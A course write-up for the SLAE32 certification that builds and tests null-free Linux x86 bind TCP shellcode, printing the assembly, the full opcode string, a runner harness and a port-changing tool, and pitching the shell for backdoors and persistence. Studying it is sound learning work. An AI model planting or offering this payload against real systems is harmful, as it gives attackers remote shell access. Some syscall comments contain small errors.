SLAE32

This post introduces the first mission to my SLAE32 journey.

Introduction

The main goal for the first SLAE32 assignment is to develop a shellcode for bind TCP shell with the following requirements:

  • Binds to a port;
  • Executing a shell on incoming connection;
  • The shellcode should be null-free;
  • With the ability for the port to be easily configurable. In other words, the connection port should be easy to set up for the user.

Bind TCP shell? What is this?

Generally, a bind TCP shell or bind shell is created when a listening port is configured to redirect the input, output, and errors of an executable (mostly /bin/sh or /bin/bash) to an incoming connection.

In practical terms, any machine connecting to this port will be presented with a shell prompt on the target computer and can interact with it.

Bind Shell

A TCP bind shell is a common technique to create backdoors and persistence in a target machine.

Basics First

Before putting our hands-on on developing the shellcode, we should be familiar with the fundamental principles of how to create a proper bind shell. This way, we will better understand how the internals work and where to debug if an error occurs.

My approach was to analyze TCP bind shell implementation in a higher-level language, such as C.

C Prototype

Beforehand, analyzing the following code gives an idea of the structure and what syscalls need to be used.

// from https://infosecwriteups.com/expdev-bind-tcp-shellcode-cebb5657a997

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
 int sockfd, acceptfd;
 int port = 9001; // Server Address struct
 struct sockaddr_in addr;
 addr.sin_family = AF_INET;
 addr.sin_port = htons(port);
 addr.sin_addr.s_addr = INADDR_ANY;  // 1) Socket Creation (sys_socket 1)
 sockfd = socket(AF_INET, SOCK_STREAM, 0); // 2) Bind() Syscall (sys_bind 2)
 bind(sockfd, (struct sockaddr *) &addr, sizeof(addr)); // 3) Listen() Syscall (sys_listen 4)
 listen(sockfd, 0); // 4) Accept() Syscall (sys_accept 5)
 acceptfd = accept(sockfd, NULL, NULL); // 5) Dup2() Syscall
 dup2(acceptfd, 0); // stdin
 dup2(acceptfd, 1); // stdout
 dup2(acceptfd, 2); // stderr // 6) Execve() Syscall
 execve("/bin/sh", NULL, NULL);
 return 0;
}  

Testing the code to see how it behaves.

Compiling with gcc

$ gcc bind.c -o bind

Executing bind and using nc to perform a connection to port 9001 in localhost

C Bind Shell

The C bind shell works as expected. From this we have a reference to build our shellcode.

Checking which syscalls are used

In total there are 6 syscalls enumerated below:

socket - 359 - 0x167

bind - 361 - 0x169

listen - 363 - 0x16b

accept4 - 364 - 0x16c

dup2 - 63 - 0x3f

execve - 11 - 0xb

We can use the file /usr/include/x86_64-linux-gnu/asm/unistd_32 to check the definiton of each syscall.

Let’s dive into each syscall and analyse why they are used and how we can define them in intel x86 ISA.

1 - Socket syscall (0x167)
 // 1) Socket Creation
 sockfd = socket(AF_INET, SOCK_STREAM, 0);

The socket syscall has 3 parameters

Socket syscall

domain - The domain argument specifies a communication domain; this selects the protocol family which will be used for communication.

In this case, we are interested in the AF_INET flag which purpose is for IPv4 communication.

Searching on the internet for where Socket is defined in the Linux environment, I found this Stackoverflow question.

After checking each one, the file /usr/include/x86_64-linux-gnu/bits/socket.h has the value we are looking for

AF_INET

We can use the find command this purpose too.

PF_INET

The domain value (PF_INET) = 2

Type - specifies the communication semantics

The type is SOCK_STREAM = 1

protocol - The protocol specifies a particular protocol to be used with the socket.

According to the man page page “Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol can be specified as 0”

So, protocol = 0

Translating to assembly:

eax = 0x167
ebx = 0x2
ecx = 0x1
edx = 0
2 - Bind Syscall (0x169)

For this syscall the C code has the following structure:

  • Struct sockaddr_in
// Server Address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = INADDR_ANY; 
  • Bind Syscall
 int sockfd, acceptfd;
 int port = 9001; // Server Address struct
 struct sockaddr_in addr;
 addr.sin_family = AF_INET;
 addr.sin_port = htons(port);
 addr.sin_addr.s_addr = INADDR_ANY;  
 sockfd = socket(AF_INET, SOCK_STREAM, 0); 
 // 2) Bind() Syscall
 bind(sockfd, (struct sockaddr *) &addr, sizeof(addr));

bind syscall

With the following arguments:

  • int sockfd - sockfd is the socket descriptor returned by socket() in eax.
  • const struct sockaddr *addr - pointer to struct sockaddr that contains information about your IP address and por
  • socklen_t addrlen - addrlen specifies the size, in bytes, of the address structure pointed to by addr. In other words, addrlen is set to sizeof(struct sockaddr).

int sockfd

First things first, as we have the socket fil descriptor in eax we can put it directly in ebx, the first argument. –> mov ebx, eax

const struct sockaddr *addr

At first sight, defining the sockaddr struct appears to be complex but after some research on how to do it properly turns out to be really simple. We can define the struct using what I call the “Struct Stack Technique”. An adaption of the execve shellcode stack technique or jmp-call-pop technique.

We need to pass a pointer to the address of the struct. Using this technique, ESP will be used to pass the address to ecx.

Let’s start creating our sockaddr to the stack. According to sockets programming tutorial and the C code shown above this struct is defined by the following parameters:

Sockaddr

In pratical terms:

  • AF_INET - 0x2
  • Port Number - 9001 (0x2329)
  • Internet Address - 0.0.0.0 (all IPv4 address in the local machine) -> meaning we can establish a connection from any interface. Very good for persistence purposes
  • 0

sockeln_t addrlen

The value can be obtained from /usr/include/linux/in.h file (#define \__SOCK_SIZE__ 16).

Sock Size

To be more specific the bind syscamll manual page as hints about the size. We know that is the size of the sockaddr struct. The man page as a specification on how this struct is organized.

Sock Size

From there, sa_data is defined as a char array of 14 used to define the protocol address. A char is 1 byte in size, so the array has 14 bytes.

But what is sa_family_t type?

Looking to sockets programming tutorial (page 3), says it is an unsigned short and it refers to the AF_XXX address family. An unsigned short is equal to 2 bytes.

Searching where this type is defined in the filesystem it appeared this stackoverflow page pointing to this doc related to the sys/socket.h.

Searching in the filesystem, we confirm sa_family_t is defined as unsigned short type. The doc also specifies it as unsigned int (2 bytes). See the C data types page.

Sock Size

Doing the math, 2 bytes + 14 bytes = 16 bytes. That’s the confirmation for the sockaddr struct size.

3 - Listen syscall (0x16b)

It only requires 2 parameters. The socket field descriptor that we created before and backlog which is the number of connections allowed on the incoming queue. As we want our connection to be immediatily we put the value 0.

listen

 // 3) Listen() Syscall 
listen(sockfd, 0);
4 - Accept4 syscall (0x16b)

accept4

Simple syscall with four parameters. Returns a nonnegative integer that is a file descriptor for the accepted socket to eax register.

The man page states that addr can be NULL. For consequence addrlen must be NULL too. Also referes If flags is 0, then accept4() is the same as accept().

Just need to null esi as according to the calling conventions –> xor esi, esi

We already have sockfd and the rest are null. Pretty easy to setup.

// 4) Accept() Syscall
acceptfd = accept(sockfd, NULL, NULL); // 5) Dup2() Syscall
5 - Dup2 syscall (0x3f)

Anyone familiar with OS stuff knows the use of the dup family syscalls.

dup2

This just duplicates stdinput, stdout and stderror to the created TCP connection file descriptor. Doing this it redirects input and output the established connection.

 // 5) Dup2() Syscall
 dup2(acceptfd, 0); // stdin
 dup2(acceptfd, 1); // stdout
 dup2(acceptfd, 2); // stderr
6 - Execve syscall (0xb)

At this moment, everything is set up and we just need to tell the program to execute /bin/sh. The execve takes 3 arguments but in this case we just need to fill the first argument to achieve our purposes.

// 6) Execve() Syscall
execve("/bin/sh", NULL, NULL);

“Assembling” our shellcode

Translating the above concepts to assembly follows the same steps. We just need to be careful to prepare and clean the registers according to each syscall, especially eax.

As eax is used to store the return data from a syscall, its content is always written and sometimes we need save eax’s content before calling a syscall.

xor eax, eax    ; zeroes eax
cdq             ; zeroes edx (trick to use less space)

After this it’s time to set up the syscall arguments havinmg the C code as a reference.

; socket syscall
mov ax, 0x167   ; syscall socket() - 359
push byte 0x02  ; push and pop byte to save space (another trick)
pop ebx         ; PF_INET value from /usr/include/i386-linux-gnu/bits/socket.h
push byte 0x01  
pop ecx         ; setting up SOCK_STREAM = 1
; edx is already zero
int 0x80	; interruption syscall or interrupt vector. Returns pointer to the socket in eax

EAX contains 0x167 which is sys_socket as seen in /usr/include/i386-linux-gnu/asm/unistd_32.h, then EBX is set to 0x2 (PF_INET).

Next the value 0x01 is moved into ECX which is the value of SOCK_STREAM. EDX is already zero because of the previous cdq instruction.

Just left to use the interruption syscall int 0x80 to create the socket.

If executed successfully, we have our socket. The next step is to setting up the bind syscall.

Beforehand, let’s prepare the next syscall

mov ebx, eax 	; moves socket address to ebx (first arg of bind syscall - sockfd)
xor eax, eax

Then , the sockaddr_in struct is created as follows:

push edx	    ; edx remains zero
;sockaddr struct	
push edx	        ; edx is still zero -> 0.0.0.0 - bind shell listens in all interfaces
push word 0x2923    ; little endian -> 9001 = 0x2329
push word 0x2       ; AF_INET
mov ecx, esp        ; Putting the struct pointer in ECX

The struct is finally defined. The most trickiest part to understand I must say.

EDX is still zero so pushing zeroes will effectively result into pushing the IP address 0.0.0.0. This address makes the program to lsien in all interfaces. A clever way if our purpose is to have persistence in a target machine.

The next step is to load to the stack the port number. As intel works with little-edian format we push 0x2923 which is the value 9001. Lastly, pushing 0x2 refers to AF_INET.

Now, it is just a matter of putting 0x10 (16 bytes) to EDX which represents the size of sockaddr_in struct as mentioned in the previous section and execute the bind syscall with 0x169 in EAX.

mov dl, 0x10
mov ax, 0x169
int 0x80

The follwoing syscalls are listen and accept4 which work similarly as the above functions.

For the accept4 we already have sockfd in EBX and we just need to clear the other arguments.

For dup2 we use a loop to use less instructions to save space while constructing a fully interactive bind shell.

    ; accept4 syscall

	; ebx already has sockfd
	xor eax, eax
	cdq
	xor ecx, ecx
	xor esi, esi
	mov ax, 0x16c 	
	int 0x80

	;xor edi, edi
	mov edx, eax ; edx is already zero

	; dup2 syscall
	mov cl, 0x03
dup2:
	;xor eax, eax
	;mov al, 0x3f
	push byte 0x3f
	pop eax
	mov ebx, edx
	dec cl
	int 0x80
	jnz dup2	; decrements ecx and jumps until ecx=0

We reach the final stage, using execve syscall to execute /bin/sh and spawn a shell when a connection is made to the bind port. If all works as expected a system shell will be provided to the incoming connection which can interact with the target machine.

; execve
cdq	            ; edx needs to be zero
push ecx	    ; ecx is zero because jnz and we avoid null bytes
push 0x68732f2f ; /bin//ls
push 0x6e69622f
mov ebx, esp
push byte 0xb   ; execve syscall
pop eax
int 0x80

There is an important step in the above code that we must be aware of, how we place the string /bin/sh in the stack.

push ecx	    ; ecx is zero because jnz and we avoid null bytes
push 0x68732f2f ; "sl//"
push 0x6e69622f ; "nib/"
mov ebx, esp

The stack grows from high to low addresses, so we need to place /bin/sh and null terminated in reverse order. Besides that, one of the most important details we know is memory alignment. This highly influences the cpu performance and because of this it will attempt to maximmize the use of memory as efficient as possible.

The way it does in a 32-bit ISA is to work with multiples of 4 bytes in the memory address space. So, we need to make our string divisable by 4.

But /bin/sh is a 7 byte string, how we make it divisable by 4?

There are various ways, but what we can do is “abuse” the slashes. Using / or // is the same in the Linux environment. Using this knowledge we can use the string /bin//sh to fulfill memory aligment requirements.

As an extra challenge I leverage this task to develop a script called the The x86 "Little-Hexdian" String Convert which checks if a string passed as an argument is aligned and converts it to hexadecimal in little-endian format.

Here’s a screenshot of the script output.

revHex32

Available in https://github.com/0xnibbles/slae_x86/blob/main/revHex32.py

Final Assembly Code

; Student ID   : PA-31319
; Student Name : Eduardo Silva
; Assignment 1 : TCP Bind Shell (Linux/x86) Assembly
; File Name    : bind_shell.nasm

global	_start

section	.text

_start:
	
	xor eax, eax
	cdq
	
	; socket syscall

	mov ax, 0x167
	;xor ebx, ebx
	;mov bl, 0x02
	push byte 0x02
	pop ebx
	;xor ecx, ecx
	;mov cl, 0x01
	push byte 0x01
	pop ecx
	; edx is already zero
	int 0x80	; interruption syscall or interrupt vector. Returns pointer to the socket in eax

	; bind syscall

	mov ebx, eax 	; moves socket address to ebx (first arg - sockfd)
	xor eax, eax
	push edx	; edx remains zero
	
	; sockaddr struct	
	
	push edx	; 0.0.0.0
	push word 0x2923 ;little endian -> 9001 = 0x2329
	push word 0x2
	mov ecx, esp
	
	mov dl, 0x10
	mov ax, 0x169
	int 0x80
	
	; listen syscall

	xor eax, eax
	xor ecx, ecx
	; ebx already has sockfd
	mov ax, 0x16b
	;add ax, 0x2
	int 0x80

	; accept4 syscall

	; ebx already has sockfd
	xor eax, eax
	cdq
	xor ecx, ecx
	xor esi, esi
	mov ax, 0x16c 	
	int 0x80

	;xor edi, edi
	mov edx, eax ; edx is already zero

	; dup2
	mov cl, 0x03

dup2:
	push byte 0x3f
	pop eax
	mov ebx, edx
	dec cl
	int 0x80
	jnz dup2	; decrements ecx and jumps until ecx=0

	; execve
	cdq	; edx needs to be zero
	;push eax
	push ecx	; ecx is zero because jnz
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp
	;xor eax, eax
	;mov al, 0xb
	push byte 0xb
	pop eax
	int 0x80	

Compiling and Testing the Shellcode

To be easier to compile my shellcode scripts and get the size and the opcodes, I developed a shell script named assembler.sh

Available in https://github.com/0xnibbles/slae_x86/blob/main/assembler.sh

Checking assembler.sh output

╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main› 
╰─$ ls
bind  bind.c  bind_shell  bind_shell.asm  bind_shell.nasm  bind_shell.o  biShell.sh  original_bind_shell.nasm  syscalls
╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main› 
╰─$ ../../assembler.sh bind_shell.nasm 

[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done


Shellcode size: 95

"\x31\xc0\x99\x66\xb8\x67\x01\x6a\x02\x5b\x6a\x01\x59\xcd\x80\x89\xc3\x31\xc0\x52\x52\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\x66\xb8\x69\x01\xcd\x80\x31\xc0\x31\xc9\x66\xb8\x6b\x01\xcd\x80\x31\xc0\x99\x31\xc9\x31\xf6\x66\xb8\x6c\x01\xcd\x80\x89\xc2\xb1\x03\x6a\x3f\x58\x89\xd3\xfe\xc9\xcd\x80\x75\xf5\x99\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80"

--------------------
[*] Hack the World!
--------------------

No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x99\x66\xb8\x67\x01\x6a\x02\x5b\x6a\x01\x59\xcd\x80\x89\xc3\x31\xc0\x52\x52\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\x66\xb8\x69\x01\xcd\x80\x31\xc0\x31\xc9\x66\xb8\x6b\x01\xcd\x80\x31\xc0\x99\x31\xc9\x31\xf6\x66\xb8\x6c\x01\xcd\x80\x89\xc2\xb1\x03\x6a\x3f\x58\x89\xd3\xfe\xc9\xcd\x80\x75\xf5\x99\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80";

main() {

	printf("Shellcode Length: %d\n", strlen(code));
	int (*ret)() = (int(*)())code;

	ret();

}

Compiling with gcc and executing it

$ gcc -fno-stack-protector -m32 -z execstack -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~
╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main●› 
╰─$ ./bind_shell 
Shellcode Length: 95

No errors and our bind shell is awaiting for a connection. Let’s use nc to perform that.

╭─edu@debian ~/Documents/blogGithub/dev-blog/0xnibbles ‹master●› 
╰─$ nc -nv 127.0.0.1 9001 
(UNKNOWN) [127.0.0.1] 9001 (?) open
ls
biShell.sh
bind
bind.c
bind_shell
bind_shell.asm
bind_shell.nasm
bind_shell.o
original_bind_shell.nasm
shellcode.c
syscalls
id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)

Fantastic! The TCP Bind Shell works as expected and was successfully injected into a working program.

What if we want to change the bind port?

One of the requirements for this assigment, is the ability to change easily the bind port used in the shellcode. For that, we can change the bytes in shellcode related to the port and changed them for specific port we want the bind shell waits for a connection.

The following shell script named biShell.sh replaces the hardcoded 9001 with the port provided by the user as an argument. It automatically converts the port into hexadecimal little-endian format.

Available at https://github.com/0xnibbles/slae_x86/blob/main/assignments/1-Shell_Bind_TCP/biShell.sh

It accepts one argument - the desired bind port.

╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main●› 
╰─$ ./biShell.sh 9999

[*] Doing magic with your port number
[*] Done

Enjoy this Bind TCP Shellcode with the port 9999

"\x31\xc0\x31\xdb\x31\xc9\x99\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x52\x52\x66\x68\x27\x0F\x66\x6a\x02\x89\xe1\xb2\x10\x66\xb8\x69\x01\xcd\x80\x31\xc0\x31\xc9\x66\xb8\x6b\x01\xcd\x80\x31\xc0\x99\x31\xc9\x31\xf6\x66\xb8\x6c\x01\xcd\x80\x31\xff\x89\xc7\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

[*] Port converted in hex Little-Endian: 270F

--------------------
[*] Hack the World!
--------------------

Compiling using our shellcode tester and executing it

╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main●› 
╰─$ gcc -fno-stack-protector -m32 -z execstack -o bind_shell9999 shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~
╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main●› 
╰─$ ./bind_shell9999 
Shellcode Length: 101

Trying to establish a connection to port 9999

╭─edu@debian ~/Documents/blogGithub/dev-blog/0xnibbles ‹master●› 
╰─$ nc -nv 127.0.0.1 9999
(UNKNOWN) [127.0.0.1] 9999 (?) open
ls
biShell.sh
bind
bind.c
bind_shell
bind_shell.asm
bind_shell.nasm
bind_shell.o
bind_shell9999
original_bind_shell.nasm
shellcode.c
syscalls
id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)

We get a shell!!!


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-31319

All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86